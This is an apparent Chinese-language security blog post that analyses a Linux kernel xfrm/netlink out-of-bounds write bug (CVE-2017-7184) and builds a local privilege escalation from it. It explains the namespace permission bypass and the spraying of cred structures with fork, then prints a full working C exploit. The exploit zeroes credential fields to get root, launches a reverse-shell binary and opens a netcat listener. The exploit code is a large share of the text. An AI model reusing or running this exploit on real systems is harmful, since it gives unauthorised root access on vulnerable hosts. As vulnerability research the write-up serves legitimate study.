[1]             replay_esn->bmp[nr] &=  ~(1U << bitnr);
            }
        } else {
            nr = (replay_esn->replay_window - 1) >> 5;
            for (i = 0; i <= nr; i++)
[2]             replay_esn->bmp[i] = 0;
        }

        bitnr = (pos + diff) % replay_esn->replay_window;
        replay_esn->seq = seq;

        if (unlikely(wrap > 0))
            replay_esn->seq_hi++;
    } else {
        diff = replay_esn->seq - seq;

        if (pos >= diff)
            bitnr = (pos - diff) % replay_esn->replay_window;
        else
            bitnr = replay_esn->replay_window - (diff - pos);
    }

    nr = bitnr >> 5;
    bitnr = bitnr & 0x1F;
[3] replay_esn->bmp[nr] |= (1U << bitnr);

    if (xfrm_aevent_is_on(xs_net(x)))
        x->repl->notify(x, XFRM_REPLAY_UPDATE);
}

因此,通过用户态空间发送一个AH数据包将导致,一个bit的内存写,或者一段空间的置零

漏洞触发与利用

netlink套接字通信

与熟悉的驱动或内核模块所使用的系统调用或ioctl机制不同,本漏洞触发使用过的是netlink通信机制。

Netlink 是一种特殊的 socket,它是 Linux 所特有的,类似于 BSD 中的AF_ROUTE 但又远比它的功能强大。目前在Linux 内核中使用netlink 进行应用与内核通信的应用很多; 包括:路由 daemon(NETLINK_ROUTE),用户态 socket 协议(NETLINK_USERSOCK),防火墙(NETLINK_FIREWALL),netfilter 子系统(NETLINK_NETFILTER),内核事件向用户态通知(NETLINK_KOBJECT_UEVENT), 通用 netlink(NETLINK_GENERIC)等。

而基于netlink的内核通信与socket的通信方式一致,都是通过sendto(),recvfrom(); sendmsg(), recvmsg()的用户态API

而发送到内核态的数据以协议包的形式进行解析,因此需要了解xfrm数据包的协议格式,其协议结构图及相关函数图示如下。

/* ========================================================================
 *         Netlink Messages and Attributes Interface (As Seen On TV)
 * ------------------------------------------------------------------------
 *                          Messages Interface
 * ------------------------------------------------------------------------
 *
 * Message Format:
 *    <--- nlmsg_total_size(payload)  --->
 *    <-- nlmsg_msg_size(payload) ->
 *   +----------+- - -+-------------+- - -+-------- - -
 *   | nlmsghdr | Pad |   Payload   | Pad | nlmsghdr
 *   +----------+- - -+-------------+- - -+-------- - -
 *   nlmsg_data(nlh)---^                   ^
 *   nlmsg_next(nlh)-----------------------+
 *
 * Payload Format:
 *    <---------------------- nlmsg_len(nlh) --------------------->
 *    <------ hdrlen ------>       <- nlmsg_attrlen(nlh, hdrlen) ->
 *   +----------------------+- - -+--------------------------------+
 *   |     Family Header    | Pad |           Attributes           |
 *   +----------------------+- - -+--------------------------------+
 *   nlmsg_attrdata(nlh, hdrlen)---^
 *
 * Data Structures:
 *   struct nlmsghdr            netlink message header
 * ------------------------------------------------------------------------
 *                          Attributes Interface
 * ------------------------------------------------------------------------
 *
 * Attribute Format:
 *    <------- nla_total_size(payload) ------->
 *    <---- nla_attr_size(payload) ----->
 *   +----------+- - -+- - - - - - - - - +- - -+-------- - -
 *   |  Header  | Pad |     Payload      | Pad |  Header
 *   +----------+- - -+- - - - - - - - - +- - -+-------- - -
 *                     <- nla_len(nla) ->      ^
 *   nla_data(nla)----^                        |
 *   nla_next(nla)-----------------------------'
 *
 * Data Structures:
 *   struct nlattr          netlink attribute header

从上图可以看出,发送到内核的数据需要如下形式nlmsghdr + Family Header + n * (nla + data)

首先从xfrm_netlink_rcv函数中调用netlink_rcv_skb函数,会检查nlmsg_typenlmsg_len范围,并交由cb函数处理,其赋值为xfrm_user_rcv_msg

int netlink_rcv_skb(struct sk_buff *skb, int (*cb)(struct sk_buff *,
                             struct nlmsghdr *))
{
    struct nlmsghdr *nlh;
    int err;

    while (skb->len >= nlmsg_total_size(0)) {
        int msglen;

        nlh = nlmsg_hdr(skb);
        err = 0;

        if (nlh->nlmsg_len < NLMSG_HDRLEN || skb->len < nlh->nlmsg_len)
            return 0;

        /* Only requests are handled by the kernel */
        if (!(nlh->nlmsg_flags & NLM_F_REQUEST))
            goto ack;

        /* Skip control messages */
        if (nlh->nlmsg_type < NLMSG_MIN_TYPE)
            goto ack;

        err = cb(skb, nlh);
        if (err == -EINTR)
            goto skip;

ack:
        if (nlh->nlmsg_flags & NLM_F_ACK || err)
            netlink_ack(skb, nlh, err);

skip:
        msglen = NLMSG_ALIGN(nlh->nlmsg_len);
        if (msglen > skb->len)
            msglen = skb->len;
        skb_pull(skb, msglen);
    }

    return 0;
}

xfrm_user_rcv_msg函数中,会根据nlmsg_typexfrm_dispatch中查找对应要调用的函数,并在[2]处检查对应需要的权限,而在[3]处会根据nla中参数类型,来初始化一个** attr,作为用户输入参数的索引。最终调用link->doit去执行。

static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    struct net *net = sock_net(skb->sk);
    struct nlattr *attrs[XFRMA_MAX+1];
    const struct xfrm_link *link;
    int type, err;

#ifdef CONFIG_COMPAT
    if (in_compat_syscall())
        return -EOPNOTSUPP;
#endif

    type = nlh->nlmsg_type;
    if (type > XFRM_MSG_MAX)
        return -EINVAL;

    type -= XFRM_MSG_BASE;
[1] link = &xfrm_dispatch[type];

    /* All operations require privileges, even GET */
[2] if (!netlink_net_capable(skb, CAP_NET_ADMIN)) //检查进程权限
        return -EPERM;

    if ((type == (XFRM_MSG_GETSA - XFRM_MSG_BASE) ||
         type == (XFRM_MSG_GETPOLICY - XFRM_MSG_BASE)) &&
        (nlh->nlmsg_flags & NLM_F_DUMP)) {
        if (link->dump == NULL)
            return -EINVAL;

        {
            struct netlink_dump_control c = {
                .dump = link->dump,
                .done = link->done,
            };
            return netlink_dump_start(net->xfrm.nlsk, skb, nlh, &c);
        }
    }

[3] err = nlmsg_parse(nlh, xfrm_msg_min[type], attrs,
              link->nla_max ? : XFRMA_MAX,
              link->nla_pol ? : xfrma_policy);
    if (err < 0)
        return err;

    if (link->doit == NULL)
        return -EINVAL;

    return link->doit(skb, nlh, attrs);
}

xfrm_dispatch可见,我们所需的XFRM_MSG_NEWSAXFRM_MSG_NEWAE,仅需将nlmsg_type设置为相应值即可。

xfrm_dispatch[XFRM_NR_MSGTYPES] = {
    [XFRM_MSG_NEWSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
    [XFRM_MSG_DELSA       - XFRM_MSG_BASE] = { .doit = xfrm_del_sa        },
    [XFRM_MSG_GETSA       - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
                           .dump = xfrm_dump_sa,
                           .done = xfrm_dump_sa_done  },
    [XFRM_MSG_NEWPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
    [XFRM_MSG_DELPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy    },
    [XFRM_MSG_GETPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
                           .dump = xfrm_dump_policy,
                           .done = xfrm_dump_policy_done },
    [XFRM_MSG_ALLOCSPI    - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
    [XFRM_MSG_ACQUIRE     - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire   },
    [XFRM_MSG_EXPIRE      - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
    [XFRM_MSG_UPDPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
    [XFRM_MSG_UPDSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
    [XFRM_MSG_POLEXPIRE   - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
    [XFRM_MSG_FLUSHSA     - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa      },
    [XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy  },
    [XFRM_MSG_NEWAE       - XFRM_MSG_BASE] = { .doit = xfrm_new_ae  },
    [XFRM_MSG_GETAE       - XFRM_MSG_BASE] = { .doit = xfrm_get_ae  },
    [XFRM_MSG_MIGRATE     - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate    },
    [XFRM_MSG_GETSADINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo   },
    [XFRM_MSG_NEWSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
                           .nla_pol = xfrma_spd_policy,
                           .nla_max = XFRMA_SPD_MAX },
    [XFRM_MSG_GETSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo   },
};

Family Header需要到对应的处理函数中找,以xfrm_add_sa为例,其调用nlmsg_data函数的赋值变量类型为xfrm_usresa_info,即为Family Header

struct xfrm_usersa_info *p = nlmsg_data(nlh);

利用思路

权限限制

所谓权限限制即是在上文中提到的netlink_net_capable(skb, CAP_NET_ADMIN)检查,所需为CAP_NET_ADMIN权限。但在Linux操作系统中存在命名空间这样的权限隔离机制,在每一个NET沙箱中,非ROOT进程可以具有CAP_NET_ADMIN权限。查看命名空间开启的方式为cat /boot/config* | grep CONFIG_USER_NS,若为「y」,则启用了命名空间。

而对于上述限制的绕过有两种方法,一是使用setcap命令为EXP赋予权限,即执行sudo setcap cap_net_raw,cap_net_admin=eip ./exp。二是仿照CVE-2017-7308中设置namespace sandbox,但注意此时无法利用getuid来判断是否为root用户。

void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

        if (unshare(CLONE_NEWNET) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("[-] write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
        perror("[-] write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("[-] write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }

    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }

    if (system("/sbin/ifconfig lo up") != 0) {
        perror("[-] system(/sbin/ifconfig lo up)");
        exit(EXIT_FAILURE);
    }
}

数据包构造

本漏洞属于一个利用条件比较宽松的漏洞。首先,xfrm_replay_state_esn是一个变长的数据结构,而其长度可以由用户输入的bmp_len来控制,并由kzalloc申请bmp_len *4 + 0x18大小的内存块。其次,越界读写可以每次写1bit大小的数据,同时也可以将(replay_windows -1)>>5比特大小的内存块清空。

并且cred结构体的申请是通过prepare_creds中的new = kmem_cache_alloc(cred_jar, GFP_KERNEL);得到的,但在调试中发现,本内核的cred_jarkmalloc-192

根据内核分配使用的slub+伙伴算法可以知道,对于同一个kmem_cache分配出来的内存块有一定概率是相邻。因此一种很取巧的思路,就是将xfrm_replay_state_esn结构体设置为192(0xc0)以内,以利用kmalloc-192进行分配,并利用fork新建大量进程,使申请大量cred,这样喷射之后有很大概率越界读写漏洞存在的位置之后就是一个cred结构体,这样利用之前提到过的置零一段内存的操作就可以将cred结构体中的部分成员(uid gid等)置零,从而对该进程提权,并通过反弹shell就可以得到一个root权限的shell

因此对于数据包构造主要根据上述思路。

xfrm_add_sa

在触发xfrm_add_sa函数的数据包中,需要满足128 < bmp_len * 4 +0x18 < 192。并且需要参考之前源码分析中的各项flag及参数检查。

xfrm_new_ae

在触发xfrm_new_ae函数的数据包中,需要对seq_hiseqreplay_window进行设定,replay_window即将要置零的长度大小,由于连续申请了两块大小相同的结构体,而置零的时候是从第一次申请的位置操作的,有可能出现二者相邻,因此需要将replay_window设置稍大一些。而seq_hiseq两个数据需要结合之后发送的ah数据包中的seq参数,引导xfrm_replay_advance_esn走向置零bmp[0]~bmp[n]这个分支。

AH数据包

AH数据包的要求即spi需要和之前申请SAspi相同用于寻找xfrm_state,并且需要满足

diff >= replay_esn->replay_window,其中diff的数据由xfrm_replay_state_esn中的seqseq_hiAHseq共同决定。还行需在后续单字节写的位置,将cred结构体中usage置回原值。

xfrm_replay_advance_esn函数执行前后发现,相邻cred中的成员被置零。

EXP

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/xfrm.h>


#define MAX_PAYLOAD 4096
struct ip_auth_hdr {
    __u8    nexthdr;
    __u8    hdrlen;
    __be16  reserved;   /* big endian */
    __be32  spi;        /* big endian */
    __be32  seq_no;     /* big endian */
    __u8    auth_data[8];
};


void fork_spary_n(int n,unsigned int time){
    int i;
    for(i = 0;i < n;i++){
        int pid ;
        pid = fork();
        if(pid ==0){
            sleep(time);
            if(getuid() == 0){
                fprintf(stderr, "[+] now get r00t\n" );
                system("id");
                system("/home/p4nda/Desktop/reverse_shell");
            }
            else{
                exit(0);
            }
        }
    }

}

int init_xfrm_socket(){
    struct sockaddr_nl addr; 
    int result = -1,xfrm_socket;
    xfrm_socket = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
    if (xfrm_socket<=0){
        perror("[-] bad NETLINK_XFRM socket ");
        return result;
    }
    addr.nl_family = PF_NETLINK;  
    addr.nl_pad    = 0;  
    addr.nl_pid    = getpid();  
    addr.nl_groups = 0;
    result = bind(xfrm_socket, (struct sockaddr *)&addr, sizeof(addr));
    if (result<0){
        perror("[-] bad bind ");
        close(xfrm_socket);
        return result;
    } 
    return xfrm_socket;
}

int init_recvfd(){
    int recvfd=-1;
    recvfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
    if (recvfd<=0){
        perror("[-] bad IPPROTO_AH socket ");
    }
    return recvfd;
}

int init_sendfd(){
    int sendfd=-1,err;  
    struct sockaddr_in addr;
    sendfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
    if (sendfd<=0){
        perror("[-] bad IPPROTO_AH socket ");
        return -1;
    }
    memset(&addr,0,sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(0x4869);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    err = bind(sendfd, (struct sockaddr*)&addr,sizeof(addr));
    if (err<0){
        perror("[-] bad bind");
        return -1;      
    }
    return sendfd;
}

void dump_data(char *buf,size_t len){
    puts("=========================");
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}




int xfrm_add_sa(int sock,int spi,int bmp_len){
    struct sockaddr_nl nladdr;
    struct msghdr msg;
    struct nlmsghdr *nlhdr;
    struct iovec iov;
    int len = 4096,err;
    char *data;

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_pid = 0;
    nladdr.nl_groups = 0;
    nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
    memset(nlhdr,0,NLMSG_SPACE(len));

    nlhdr->nlmsg_len = NLMSG_LENGTH(len);
    nlhdr->nlmsg_flags = NLM_F_REQUEST;
    nlhdr->nlmsg_pid = getpid();
    nlhdr->nlmsg_type = XFRM_MSG_NEWSA;

    data = NLMSG_DATA(nlhdr); 
    struct xfrm_usersa_info xui;
    memset(&xui,0,sizeof(xui));
    xui.family = AF_INET;
    xui.id.proto = IPPROTO_AH;
    xui.id.spi = spi;
    xui.id.daddr.a4 = inet_addr("127.0.0.1");
    xui.lft.hard_byte_limit = 0x10000000;
    xui.lft.hard_packet_limit = 0x10000000;
    xui.lft.soft_byte_limit = 0x1000;
    xui.lft.soft_packet_limit = 0x1000;
    xui.mode = XFRM_MODE_TRANSPORT;
    xui.flags = XFRM_STATE_ESN;
    memcpy(data,&xui,sizeof(xui));

    data += sizeof(xui);
    struct nlattr nla;
    struct xfrm_algo xa;
    memset(&nla, 0, sizeof(nla));
    memset(&xa, 0, sizeof(xa));
    nla.nla_len = sizeof(xa) + sizeof(nla);
    nla.nla_type = XFRMA_ALG_AUTH;
    strcpy(xa.alg_name, "digest_null");
    xa.alg_key_len = 0;
    memcpy(data, &nla, sizeof(nla));
    data += sizeof(nla);
    memcpy(data, &xa, sizeof(xa));
    data += sizeof(xa);

    struct xfrm_replay_state_esn rs;
    memset(&nla, 0, sizeof(nla));
    nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
    nla.nla_type = XFRMA_REPLAY_ESN_VAL;    
    rs.replay_window = bmp_len;
    rs.bmp_len = bmp_len;
    memcpy(data,&nla,sizeof(nla));
    data += sizeof(nla);
    memcpy(data, &rs, sizeof(rs));
    data += sizeof(rs); 
    memset(data,'1',bmp_len*4*8);

    iov.iov_base = (void *)nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    memset(&msg, 0, sizeof(msg));
    msg.msg_name = (void *)&(nladdr);
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    //dump_data(&msg,iov.iov_len);
    err = sendmsg (sock, &msg, 0); 
    if (err<0){
        perror("[-] bad sendmsg");
        return -1;      
    }
    return err;
}

int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
    struct sockaddr_nl nladdr;
    struct msghdr msg;
    struct nlmsghdr *nlhdr;
    struct iovec iov;
    int len = 4096,err;
    char *data;

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_pid = 0;
    nladdr.nl_groups = 0;
    nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
    memset(nlhdr,0,NLMSG_SPACE(len));

    nlhdr->nlmsg_len = NLMSG_LENGTH(len);
    nlhdr->nlmsg_flags = NLM_F_REQUEST|NLM_F_REPLACE;
    nlhdr->nlmsg_pid = getpid();
    nlhdr->nlmsg_type = XFRM_MSG_NEWAE;

    data = NLMSG_DATA(nlhdr); 
    struct xfrm_aevent_id xai;
    memset(&xai,0,sizeof(xai));
    xai.sa_id.proto = IPPROTO_AH;
    xai.sa_id.family = AF_INET;
    xai.sa_id.spi = spi;
    xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");

    memcpy(data,&xai,sizeof(xai));
    data += sizeof(xai);    

    struct nlattr nla;
    memset(&nla, 0, sizeof(nla));
    struct xfrm_replay_state_esn rs;
    memset(&nla, 0, sizeof(nla));
    nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
    nla.nla_type = XFRMA_REPLAY_ESN_VAL;    
    rs.replay_window = evil_windows;
    rs.bmp_len = bmp_len;
    rs.seq_hi = seq_hi;
    rs.seq = seq;   
    memcpy(data,&nla,sizeof(nla));
    data += sizeof(nla);
    memcpy(data, &rs, sizeof(rs));
    data += sizeof(rs); 
    memset(data,'1',bmp_len*4*8);



    iov.iov_base = (void *)nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    memset(&msg, 0, sizeof(msg));
    msg.msg_name = (void *)&(nladdr);
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    err = sendmsg (sock, &msg, 0); 
    if (err<0){
        perror("[-] bad sendmsg");
        return -1;      
    }
    return err; 
}

int sendah(int sock,int spi,int seq ){
    struct sockaddr_in sai;
    struct iovec iov;
    struct msghdr msg;
    char *data;
    struct ip_auth_hdr ah;
    int err;
    memset(&msg, 0, sizeof(msg));
    memset(&sai, 0, sizeof(sai));
    sai.sin_addr.s_addr = inet_addr("127.0.0.1");
    sai.sin_port = htons(0x4869);
    sai.sin_family = AF_INET;
    data = malloc(4096);
    memset(data,'1',4096);
    ah.spi = spi;
    ah.nexthdr = 1;
    ah.seq_no = seq;
    ah.hdrlen = (0x10 >> 2) - 2;

    memcpy(data,&ah,sizeof(ah));

    iov.iov_base = (void *)data;
    iov.iov_len = 4096;
    memset(&msg, 0, sizeof(msg));
    msg.msg_name = (void *)&(sai);
    msg.msg_namelen = sizeof(sai);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    //dump_data(&msg,iov.iov_len);
    //dump_data(nlhdr,iov.iov_len);
    err = sendmsg (sock, &msg, 0); 
    if (err<0){
        perror("[-] bad sendmsg");
        return -1;      
    }
    return err; 
}


int main(int argc, char const *argv[])
{
    int spary_n=0xc00,err,xfrm_socket,recvfd,sendfd;
    unsigned int time = 1;

    xfrm_socket=init_xfrm_socket();
    if (xfrm_socket<0){
        fprintf(stderr, "[-] bad init xfrm socket\n");
        exit(-1);
    }
    fprintf(stderr, "[+] init xfrm_socket %d \n",xfrm_socket);

    recvfd = init_recvfd();
    if (recvfd<0){
        fprintf(stderr, "[-] bad init_recvfd\n");
        exit(-1);
    }
    fprintf(stderr, "[+] init recvfd : %d \n",recvfd);
    sendfd = init_sendfd();
    if (recvfd<0){
        fprintf(stderr, "[-] bad sendfd\n");
        exit(-1);
    }
    fprintf(stderr, "[+] init sendfd : %d \n",sendfd);
    //return 0;
    fprintf(stderr, "[+] start spary %d creds \n",spary_n );
    fork_spary_n(spary_n,time);
    sleep(5);

    err=xfrm_add_sa(xfrm_socket,4869,0x24);
    if (err<0){
        fprintf(stderr, "[-] bad xfrm_add_sa\n");
        exit(-1);
    }
    fprintf(stderr, "[+] xfrm_add_sa : %d \n",err);
    err=xfrm_new_ae(xfrm_socket,4869,0x24,0xc01,0xb40,1);   

    if (err<0){
        fprintf(stderr, "[-] bad xfrm_new_ae\n");
        exit(-1);
    }
    fprintf(stderr, "[+] xfrm_new_ae : %d \n",err); 


    fork_spary_n(spary_n,10);
    sendah(sendfd,4869, htonl(0x1743));
    system("nc -lp 2333");
}

最终效果:

总结

与之前调试过的漏洞不同在于此漏洞的触发使用了netlink这样的通信机制,因此手册上相关的资料不是很多,需要根据源代码来构造协议中的相应字段。

本文的分析基于的方法利用了该系统内cred申请是通过kmalloc-192这个kmem_cache得到的,虽然可以有效绕过kaslrSMAPSMEP保护,但如果cred申请通过的是cred_jar,则这个方法不一定会成功。

关于长亭博客中提到的方法,我也还在尝试。利用思路是用每次写1bit的方法,多次写达到覆盖下一xfrm_replay_state_esn中的bmp_len,从而越界读泄露地址来绕过kaslr。并且可以通过越界写的方法来写如file_operationstty_struct这样的虚表结构,达到劫持控制流的目的,将ROP数据通过do_msgsnd这样的函数布置在内核里,从而绕过SMEPSMAP,最终利用控制流劫持跳转回ROP。希望可以在后续分析中调出这种方法。

Reference

[1] https://zhuanlan.zhihu.com/p/26674557

[2] https://github.com/snorez/blog/blob/master/cve-2017-7184%20(%E9%95%BF%E4%BA%AD%E5%9C%A8Pwn2Own%E4%B8%8A%E7%94%A8%E4%BA%8E%E6%8F%90%E6%9D%83Ubuntu%E7%9A%84%E6%BC%8F%E6%B4%9E)%20%E7%9A%84%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8.md

[3] https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm

[4] https://bbs.pediy.com/thread-249192.htm

[5] http://blog.chinaunix.net/uid-26675482-id-3255770.html

[6] http://onestraw.github.io/linux/netlink-event-signal/

[7] http://www.man7.org/linux/man-pages/man7/netlink.7.html

[8] https://github.com/ret2p4nda/linux-kernel-exploits/blob/master/2017/CVE-2017-7308/poc.c

点击收藏 | 2 关注 | 1
登录 后跟帖